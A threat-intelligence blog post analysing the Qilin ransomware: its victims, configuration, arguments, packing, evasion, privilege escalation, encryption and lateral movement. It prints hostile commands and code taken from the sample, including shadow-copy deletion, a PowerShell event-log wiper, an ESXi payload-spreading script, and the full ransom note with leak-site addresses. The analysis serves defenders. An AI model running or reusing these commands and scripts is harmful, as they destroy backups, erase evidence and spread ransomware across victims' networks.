

Rage Against the Powershell – Qilin in the Name

tehtris.com/en/blog/rage-against-the-powershell-qilin-in-the-name/

June 27, 2025

TEHTRIS unveils Qilin: a rising ransomware threat using tailored attacks to quietly cripple targets.

Author: [Lefebvre Fabien \(CTI\)](#)

Review & Input: [Antoine Mevel \(CTI\)](#), [Justine Guyot \(CTI\)](#)

Key points

- Qilin is a ransomware group that has been there for nearly 3 years and has become one of the most active group since the beginning of the year.
- Qilin can target any field, including the healthcare and non-profits organizations.
- USA is by far the most targetted country.
- The group use phishing as a vector of infection.
- Samples are protected by a password, preventing it from successfully running in sandbox environments.
- Each sample is specific to its target.
- The extension used for encrypted files is unique to the target.

The Qilin ransomware group

Qilin is a russian-speaking ransomware group which was first spotted in October 2022 and has since steadily risen among the most active ransomware groups, reaching a peak of 73 victims last month and 530 to date.

Qilin's victims count every month (based on Ransomfeed API).

The USA is by far the most targeted country, with over 300 victims from this country, and is particularly dangerous as it is targeting every sector. However, most of its victims are in professional services, manufacturing, healthcare and technology industries with over half of the victims being an actor of these sectors.

Countries with the most victims of Qilin (based on Ransomfeed API).

Sectors with the most victims of Qilin (based on Ransomfeed API).

The group has a .onion page to list its victims, and leak data from those who refused to pay the ransom.

Qilin's blog

Typical infection vectors start with spear-phishing according to [Group-IB](#).

Ransomware analysis

This section will focus on the technical aspect of the ransomware.

Configuration

Qilin handles two configuration sources, the first being embedded in the executable and the second being passed as arguments.

Embedded configuration

The embedded configuration contains the following informations:

- `public_rsa_pem`
- `private_rsa_pem`: empty
- `directory_black_list`: a list of directory names which should not be encrypted
- `file_black_list`: a list of file names which should not be encrypted
- `file_pattern_black_list`: a list of keyword for which the file should not be encrypted if it is contained in the name ?
- `process_black_list`: ?
- `win_services_black_list`: ?

- `company_id`: an identifier for the company generated by Qilin. It is used as the extension for encrypted files ?
- `n`
- `p`
- `fast`
- `skip`
- `step`
- `accounts`: a mapping of leaked accounts and associated cleartext password.
- `note`: the ransom note.
- `password_hash`: the password used by the operator to run the executable

The malware seems to be able to handle the following configurations that were not used:

- `white_symlink_dirs`
- `white_symlink_subdirs`

The RSA public key has been tested for vulnerabilities with RsaCtfTool, but none were found.

Arguments

Qilin offers a lot of arguments to customize its execution:

- `password`: password used to execute the ransomware.
- `paths`
- `ips`: encrypt remote machines.
- `timer`: delay encryption (in seconds)
- `no-sandbox`: disable sandbox detection.
- `no-escalate`: disable privilege escalation through
- `impersonate`: SID of the user to impersonate.
- `safe`: restart computer in safe mode (will change user password and set autologin).
- `no-priority`: disables IO/CPU priority increase
- `no-admin`: disables admin token requirement.
- `no-local`: disables local computer encryption
- `no-domain`: disables domain computers' encryption.
- `no-mounted`: disables mounted shares encryption.
- `no-network`: disables network shares encryption.
- `no-ef`: disable extension filter.
- `no-ff`: disable file filter.
- `no-df`: disable directory filter.
- `no-autostart`: don't add persistence in registry.
- `no-proc`: disable process killer.
- `no-services`: disable service killer.
- `no-vm`: disable VM killer.

- `kill-cluster`: enable cluster killer.
- `no-extension`: disable extension for encrypted files.
- `no-wallpaper`: disable wallpaper changing.
- `no-note`: disables ransom note dropping.
- `no-delete`
- `no-destruct`
- `no-zero`
- `print-image`
- `print-delay`
- `force`
- `debug`: logs are printed to the console
- `no-logs`
- `no-delete`
- `fde`
- `spread`: spread to domain computers using PsExec
- `spread-vcenter`: spread a payload on ESXi through vCenter
- `dry-run`
- `logs`
- `escalated`
- `parent-sid`
- `spread-process`

Defense mechanisms

Qilin contains multiple ingenious defense mechanism, to avoid detection and to prevent it from being used by an unauthorized person.

Packing (T1027.002, T1055.002)

The main executable is an unpacker for Qilin, looping over its memory and unpacking using `XOR` and `AND` operators with hardcoded operands.

```

deobf_loop                                     XREF[2]:      00401915(j
004018f0 81 f6 8c      XOR      ESI,0x42289f8c
          9f 28 42
004018f6 81 c6 29      ADD      ESI,0xe8c9d329
          d3 c9 e8
004018fc 89 34 90      MOV      dword ptr [EAX + EDX*0x4],ESI
004018ff 42            INC      EDX
00401900 83 c7 04      ADD      EDI,0x4
00401903 89 54 24 5c    MOV      dword ptr [ESP + local_434],EDX
00401907 74 21            JZ       LAB_0040192a

LAB_00401909                                   XREF[1]:      004018e6(j
00401909 8b b7 10      MOV      ESI,dword ptr [EDI + 0x8f5f10]=>s_brary\alloc\... = 953BD
          5f 8f 00                                     = 946C7
                                                = "brar

0040190f 01 de      ADD      ESI,EBX
00401911 3b 54 24 58    CMP      EDX,dword ptr [ESP + local_438]
00401915 75 d9      JNZ      deobf_loop

Unpacking routine

```

Qilin then copies each section in a memory buffer using memcpy.

The screenshot shows a debugger interface with the following components:

- Assembly Window:** Displays assembly instructions. Instruction 004434A6 is highlighted: `call <JMP.&memcpy>`. Other instructions include `mov ecx,dword ptr ss:[ebp+10]`, `mov edx,dword ptr ss:[ebp+10]`, `mov eax,dword ptr ss:[esp+10]`, `add ecx,ebx`, `mov dword ptr ss:[esp+8],edx`, `mov dword ptr ss:[esp],ecx`, `mov dword ptr ss:[esp+4],eax`, `mov dword ptr ss:[esp+24],ecx`, `mov ecx,dword ptr ds:[ebp+8]`, `mov dword ptr ss:[ebp+8],ecx`, `jmp withoutaslr.443222`, `lea esi,dword ptr ds:[esi]`, `mov ebx,edi`, `jmp withoutaslr.443425`, `mov eax,dword ptr ds:[ebx]`, `mov dword ptr ss:[esp+30],eax`, `mov ecx,dword ptr ss:[esp+30]`, `mov esi,dword ptr ds:[ebx+3C]`, `movzx eax,word ptr ds:[ecx+14]`, `lea edi,dword ptr ds:[ecx+eax+18]`, `mov eax,esi`, `mov edx,dword ptr ds:[edi+8]`, `neg eax`, `mov dword ptr ss:[esp+48],edx`, `mov ebp,edx`, `and edx,eax`, `mov eax,dword ptr ds:[edi+10]`, `mov dword ptr ss:[esp+28],edx`, `mov dword ptr ss:[esp+4C],edx`, `mov edx,dword ptr ds:[edi+24]`, `test eax,eax`, `jne withoutaslr.443510`, `test dl,40`, `jne withoutaslr.443760`, `mov eax,edx`, `and eax,80`, `jz withoutaslr.443510`, `mov eax,dword ptr ds:[ecx+24]`, `lea esi,dword ptr ds:[esi]`, `mov dword ptr ss:[esp+50],eax`.
- Registers Window:** Shows register values: EAX=10495000, EBX=10000000, ECX=00000000, EDX=00000000, EBP=10000240, ESP=0080F8F4, ESI=00000005, EDI=00E8D2D0. EIP is 004434A6.
- Stack Window:** Shows stack memory addresses and values. EFLAGS=00000244, ZF=1, PF=1, AF=0, OF=0, SF=0, DF=0, CF=0, TF=0, IF=1. LastError=00000000 (ERROR_SUCCESS), LastStatus=C0000135 (STATUS_SUCCESS).
- Hex Dump:** Shows memory addresses and hex values. The address 004434A6 is highlighted.

.edata section being copied to buffer at ECX.

Afterwards, it makes the code executable and calls the unpacked Qilin's `tls_callback_0`, `tls_callback_1` and `tls_callback_2` and then calls the entrypoint.

The screenshot shows a debugger window with the following assembly code:

Address	Disassembly	Comment
00443668	74 26	je withoutaslr.443693
0044366D	8D76 00	lea esi,dword ptr ds:[esi]
00443670	83C6 04	add esi,4
00443673	C74424 08 00000000	mov dword ptr ss:[esp+8],0
00443678	C74424 04 01000000	mov dword ptr ss:[esp+4],1
00443683	893C24	mov dword ptr ss:[esp],edi
00443686	FFD0	call eax
00443688	8B06	mov eax,dword ptr ds:[esi]
0044368A	83EC 0C	sub esp,C

The hex view shows the following data:

Adresse	Hexa	ASCII
10498010	00 10 00 10 00 00 00 00 70 DF 17 10	pB..
10498020	00 D6 1E 10 80 D6 1E 10 00 00 00 00	00...0.....

Calling TLS callbacks using a loop (addresses can be seen in the hex view).

The screenshot shows a debugger window with the following assembly code:

Address	Disassembly	Comment
004436A9	0F84 37010000	je withoutaslr.4437E6
004436AF	C74424 08 00000000	mov dword ptr ss:[esp+8],0
004436B7	C74424 04 01000000	mov dword ptr ss:[esp+4],1
004436BF	893C24	mov dword ptr ss:[esp],edi
004436C2	FFD0	call eax
004436C4	83EC 0C	sub esp,C
004436C7	85C0	test eax,eax
004436C9	0F84 2C010000	je withoutaslr.4437F8
004436CF	C743 10 01000000	mov dword ptr ds:[ebx+10],1

The hex view shows the following data:

Adresse	Hexa	ASCII
10001390	83 EC 0C C7 05 5C 4B 49 10 00 00 00 00 8B 4C 24	1.C.\KI.....L\$
100013A0	18 8B 54 24 14 8B 44 24 10 E8 52 FE FF FF 83 C4	..T\$.D\$.erpyy.A

Calling the entrypoint of the unobfuscated malware.

Password (T1497)

The second layer of protection is a password. The operator must provide this password to the executable using `--password`. The input is then hashed with SHA256 and compared to a password hash stored in the malware configuration. If the hashes don't match, the executable logs an error and then exits.

100375e1	c7 44 24 58 67 e6 09 6a	MOV	dword ptr [ESP + local_f8],0x6a09e667
100375e9	c7 44 24 5c 85 ae 67 bb	MOV	dword ptr [ESP + local_f4],0xbb67ae85
100375f1	c7 44 24 60 72 f3 6e 3c	MOV	dword ptr [ESP + local_f0],0x3c6ef372
100375f9	c7 44 24 64 3a f5 4f a5	MOV	dword ptr [ESP + local_ec],0xa54ff53a
10037601	c7 44 24 68 7f 52 0e 51	MOV	dword ptr [ESP + local_e8],0x510e527f
10037609	c7 44 24 6c 8c 68 05 9b	MOV	dword ptr [ESP + local_e4],0x9b05688c
10037611	c7 44 24 70 ab d9 83 1f	MOV	dword ptr [ESP + local_e0],0x1f83d9ab
10037619	c7 44 24 74 19 cd e0 5b	MOV	dword ptr [ESP + local_dc],0x5be0cd19

SHA256 constants

Admin check

The malware then checks if the process is run with elevated privilege using the `GetCurrentProcess`, `OpenProcessToken` and `GetTokenInformation` APIs.

```

bool is_admin(void)
{
    HANDLE ProcessHandle;
    BOOL BVar1;
    bool bVar2;
    DWORD local_14;
    int local_10;
    HANDLE local_c;

    local_c = (HANDLE) 0x0;
    ProcessHandle = GetCurrentProcess();
    BVar1 = OpenProcessToken(ProcessHandle, 8, &local_c);
    if (BVar1 == 0) {
        bVar2 = false;
    }
    else {
        local_10 = 0;
        local_14 = 4;
        BVar1 = GetTokenInformation(local_c, TokenElevation, &local_10, 4, &local_14);
        bVar2 = local_10 != 0 && BVar1 != 0;
    }
    if (local_c != (HANDLE) 0x0) {
        CloseHandle(local_c);
    }
    return bVar2;
}

```

Sandbox evasion (T1497.001)

The malware starts gathering information about the host in an attempt to detect whether it's running on a virtual machine or not.

First, it checks for processor information using `cpuid` instruction with `EAX=1`.

A second check is made with `cpuid` instruction and `EAX=0x40000000`, this time looking for the presence of the IDs `Microsoft Hv`, `VMwareVMware`, `VBoxVboxVbox`, `KVMKVMKVM`, `XenVMXenVM`, `lrpepyv vr`, indicating the presence of a hypervisor. If `Microsoft Hv` is detected, it also checks the presence of the key `HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters` to ensure it's not a false positive.

A delay can also be specified using the `--delay` option to delay most capabilities of the ransomware, which can help bypass sandbox detection. By default, the delay is set to 0 seconds.

Mutex (T1480.002)

To avoid duplicate execution, Qilin creates a mutex with the executable password as its name.

101D8628	8955 EC	mov dword ptr ss:[ebp-14],edx	
101D862B	89C6	mov esi,eax	esi:L"5800abe84749e0b7d54b244e17e76e42272572
101D862D	50	push eax	
101D862E	6A 00	push 0	
101D8630	6A 00	push 0	
101D8632	E8 657E0000	call <JMP.&CreateMutexW>	
101D8637	89C7	mov edi,edx	

Privilege escalation

Access token manipulation (T1134)

Qilin escalates its privilege using SeDebugPrivilege, SeImpersonatePrivilege and SeIncreaseBasePriorityPrivilege using a loop.

```
*lpMem = "SeDebugPrivilege";
lpMem[1] = (char *)0x10;
lpMem[2] = "SeImpersonatePrivilege";
lpMem[3] = (char *)0x16;
lpMem[4] = "SeIncreaseBasePriorityPrivilege";
lpMem[5] = (char *)0x1f;
for (iVar2 = -0x18; iVar2 != 0; iVar2 = iVar2 + 8) {
    set_token_privilege(*(byte ****) ((int)lpMem + iVar2 + 0x18),
        *(DWORD *) ((int)lpMem + iVar2 + 0x1c));
}
```

```
4 tokenPrivileges.PrivilegeCount = 1;
5 tokenPrivileges.Privileges[0].Luid.LowPart = luid1;
6 tokenPrivileges.Privileges[0].Luid.HighPart = luid2;
7 tokenPrivileges.Privileges[0].Attributes = 2;
8 BVar1 = AdjustTokenPrivileges(hToken,0,&tokenPrivileges,0,(PTOKEN_PRIVILEGES)0x0,(PDWORD)0x0)
    tokenPrivileges.Privileges[0].Attributes is set to 2 (SE_PRIVILEGE_ENABLED)
```

Impersonate

A SID can be given using the `--impersonate` option to impersonate a user during the encryption.

Impact

Change user password (T1098)

With `--safe` mode, Qilin changes the user password to the one passed by the `--password` argument using NetUserSetInfo with `level=1003` ("specifies a user password"), and then enables autologin using `HKLM\SOFTWARE\Microsoft\Windows`

NT\CurrentVersion\Winlogon (AutoAdminLogon, DefaultUserName, DefaultPassword)

```
-----
101d4156 6a 00      PUSH      0x0
101d4158 50          PUSH      EAX
101d4159 68 eb 03      PUSH      0x3eb
          00 00
101d415e 57          PUSH      EDI
101d415f 6a 00      PUSH      0x0
101d4161 e8 6e f4      CALL      NETAPI32.DLL::NetUserSetInfo
          00 00
```

NetUserInfo(NULL, username, 1003, password, NULL)

766214C3	CC	int3	EAX	00000001	
766214C4	CC	int3	EBX	00944840	L"DefaultUserName"

766214CB	CC	int3	EIP	766214D0	<kernelbase.RegSetValueEx>
766214CC	CC	int3	EFLAGS	00000304	
766214CD	CC	int3			
766214CE	CC	int3			
766214CF	CC	int3			
766214D0	6A 30	push 30	RegSetValueEx		

Autologin

Impair defenses (T1562)

Symbolic links behavior are changed using the commands `fsutil behavior set SymlinkEvaluation R2R:1` and `fsutil behavior set SymlinkEvaluation R2L:1` which allows encrypting remote network shares by being able to follow the symbolic links to access another remote share.

Disabling VSS (T1490)

The shadows copies are disabled and deleted using the command `vssadmin.exe delete shadows /all /quiet` and the service is disabled using `wmic service where name='vss' call ChangeStartModeDisabled` and `net stop vssem32`.

Logs removal (T1562.002)

Logs are continuously removed with a powershell script using the Get-WinEvent module.

```
$logs = Get-WinEvent -ListLog * | Where-Object {$_.RecordCount} | Select-Object -ExpandProperty LogName ;
ForEach ( $1 in $logs | Sort | Get-Unique ) {
    [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($1)
}
```

Encryption (T1486, T1491.001)

Before the encryption, the malware collects information such as storing devices (such as device type, and if it is DASD capable) and volumes (mount points, whether it's a system volume), shares and shortcuts on desktop and in shares.

To improve its performance, Qilin set the CPU priority to Realtime which is allowed by the `SeIncreaseBasePriorityPrivilege` privilege.

Qilin makes two passes on the encryption, the first with ChaCha20 and the second with AES256.

```
counter = -0x20;
auVar17 = auVar8;
do {
    _uStack000000e0 = _uStack000000e0 & 0xffffffff00000000;
    uVar2 = BCryptGenRandom((BCRYPT_ALG_HANDLE)0x0, &stack0x000000430, 0x20);
    if (0xbfffffff < uVar2) {
        BVar1 = SystemFunction036(&stack0x000000430, 0x20);
        if (BVar1 == '\0') goto LAB_10033ee6;
    }
    chacha20((int *)&stack0x00001440, (int)&stack0x000000e0, 1);
    (&stack0x0000002e0)[counter] = uStack000000e0;
    counter = counter + 1;
} while (counter != 0);
counter = -0x20;
_param_57 = ZEXT816(0);
_param_58 = _param_57;
do {
    _uStack000001d0 = ZEXT816(0);
    in_stack_000001e0 = _uStack000001d0;
    uVar2 = BCryptGenRandom((BCRYPT_ALG_HANDLE)0x0, (P_UCHAR)&stack0x000000430, 0x20);
    if ((0xbfffffff < uVar2) && (BVar1 = SystemFunction036(&stack0x000000430, 0x20))) {
        _uStack000000e0 = uVar2 + 0x80000000;
        puVar3 = &stack0x000000430;
        goto LAB_100340f2;
    }
    aes(&stack0x000000430, (undefined8 *)&stack0x0000002c0);
    memcpy(&stack0x00001484, &stack0x000000430, 0x1004);
} while (1);
```

ChaCha20

AES

ChaCha20 and AES encryption blocks.

BcryptGenRandom is used to generate the random number used for both keys, the algorithm is chosen by the system (`BCRYPT_USE_SYSTEM_PREFERRED_RNG`). If it fails, it falls back to `RtlGenRandom`.

```

    00 00
10033eaf 6a 02      PUSH      0x2
10033eb1 6a 20      PUSH      0x20
10033eb3 8d 84 24    LEA        EAX=>Stack[0x430],[ESP + 0x448]
    48 04 00 00
10033eba 50        PUSH      EAX
10033ebb 6a 00      PUSH      0x0
10033ebd e8 42 f7    CALL      BCRYPT.DLL::BCryptGenRandom
    BCRYPTGenRandom(NULL, buffer, 32, BCRYPT_USE_SYSTEM_PREFERRED_RNG)

```

ChaCha20 is used to encrypt the data, this can be seen by the presence of the Brotli-compression constant, operations specific to ChaCha20 and a 32 bits counter.

```

    s_expand_32-byte_k_102d0380                                XREF
00 65 78 70          ds      "expand 32-byte k"
    61 6e 64
    20 33 32 ...

```

Brotli compression constant.

THE QUARTER-ROUND

Chacha20 works by scrambling the hell out of 512-bit blocks, using 80 applications of the *quarter-round*. The quarter round itself scrambles 4 32-bit numbers (that's a fourth of a block) thus:

```

a += b; d ^= a; d <<= 16;
c += d; b ^= c; b <<= 12;
a += b; d ^= a; d <<= 8;
c += d; b ^= c; b <<= 7;

```

In this pseudo-C code, the <<< operator means bit-wise

```

iVar70 = auVar83._0_4_;
_local_170 = auVar83._4_12_;
uStack_164 = iVar70;

```

Chacha20 operations ([source](#)).

AES is used for the second round, with the operations corresponding to AES implementation by OpenSSL.

Files are renamed using the **MoveFileExW** API, by adding the company ID embedded in the configuration to the file name and a ransom note is dropped in each directory.

Encrypted files in a directory and ransom.

Once the encryption process is over, Qilin changes all users' wallpaper and the lock screen with instructions for the user.

Qilin self delete itself once all encryption operations are over and logs cleared to impair recovery capabilities.

Registry (T1547.001)

A key in `SOFTWARE\Microsoft\windows\CurrentVersion\Run` is added to automatically run the ransomware on machine startup with the same arguments.

Lateral movement

ESXi (T1098, T1021.004; T1210, T1623)

With option **spread-vcenter** enabled, Qilin is capable of spreading a payload to ESXi using vCenter credentials. It then disables HA and Drs on all clusters, changes the user's password and enables SSH on all hosts. Finally, it uploads and runs the payload on these hosts. The path to the payload and credentials are given by the operator through the command line.

```

"Write-Host "[DEBUG|POWERSHELL] Script execution started."

# Configuration values
$VCenterCreds = '<vCenterCreds>'
$ESXiUsername = 'root'
$newESXiPassword = '<newESXiPassword>'
$localFolderPath = '<localFolderPath>'
$localFileName = '<localFileName>'
$remoteFolderPath = '/tmp/'
$payloadFlags = '<payloadFlags>'
$fallbackESXiList = '[<hostList>]'
$esxiRights = 'esxcli system settings advanced set -o /User/execInstalledOnly -i 0'

class vCenter {
    [String]$Hostname
    [String]$Username
    [String]$Password
    [PSObject]$VIServer

    vCenter([String]$hostname, [String]$username, [String]$password, [PSObject]$server) {
        $this.Hostname = $hostname
        $this.Username = $username
        $this.Password = $password
        $this.VIServer = $server
    }

    vCenter([String]$hostname, [String]$username, [String]$password) {
        $this.Hostname = $hostname
        $this.Username = $username
        $this.Password = $password
        $this.VIServer = $null
    }
}

class ESXi {
    [PSObject]$VMHost
    [String]$IP
    [PSObject]$EsxCli

    ESXi([PSObject]$vmHost, [String]$ip, [PSObject]$cli) {
        $this.VMHost = $vmHost
        $this.IP = $ip
        $this.EsxCli = $cli
    }
}

```

Powershell script capable of spreading a payload on ESXi hosts.

A comment in the Powershell script shows a developer's frustration with Powershell.

```

foreach ($vCenterHost in $vCenterHosts) {
    $hostResult = Process-vCenter $vCenterHost

    # TODO: Why the fucking fuck its always false?!
    Write-Host "[TMP|POWERSHELL] $hostResult"
    Write-Host "[TMP|POWERSHELL] $($hostResult -ne $true)"
    if ($hostResult -ne $true) {
        Write-Host "[CRITICAL|POWERSHELL] Error occurred during processing vCenter: $($vCenterHost.Hostname)"
    }
}

Write-Host "[INFO|POWERSHELL] All vCenters processed!"
}

```

Domain computers (T1588.002, T1021.002)

Qilin is also capable of spreading to other computers via **PsExec** with the **--spread** option, prompting the operator for user credentials.

Ransom note

-- Qilin

Your network/system was encrypted.
Encrypted files have new extension.

-- Compromising and sensitive data

We have downloaded compromising and sensitive data from your system/network.
Our group cooperates with the mass media.
If you refuse to communicate with us and we do not come to an agreement, your data
will be reviewed and published on our blog and on the media page
(<https://31.41.244.100>)

Blog links:

<http://kbsqoivihgdmwczmxkbovk7ss2dcynitwhhfu5yw725dboqo5kthfaad.onion>

<http://ijzn3sicrcy7guixkzjkib4ukbiilwc3xhnmby4mcbccnsd7j2rekvqd.onion>

Data includes:

- Employees personal data, CVs, DL , SSN.
- Complete network map including credentials for local and remote services.
- Financial information including clients data, bills, budgets, annual reports, bank statements.
- Complete datagrams/schemas/drawings for manufacturing in solidworks format
- And more...

-- Warning

- 1) If you modify files - our decrypt software won't able to recover data
- 2) If you use third party software - you can damage/modify files (see item 1)
- 3) You need cipher key / our decrypt software to restore you files.
- 4) The police or authorities will not be able to help you get the cipher key. We encourage you to consider your decisions.

-- Recovery

- 1) Download tor browser: <https://www.torproject.org/download/>
- 2) Go to domain
- 3) Enter credentials

Please note that communication with us is only possible via the website in the Tor browser, which is specified in this note.

All other means of communication are not real and may be created by third parties, if such were not provided in this note or on the website specified in this note.
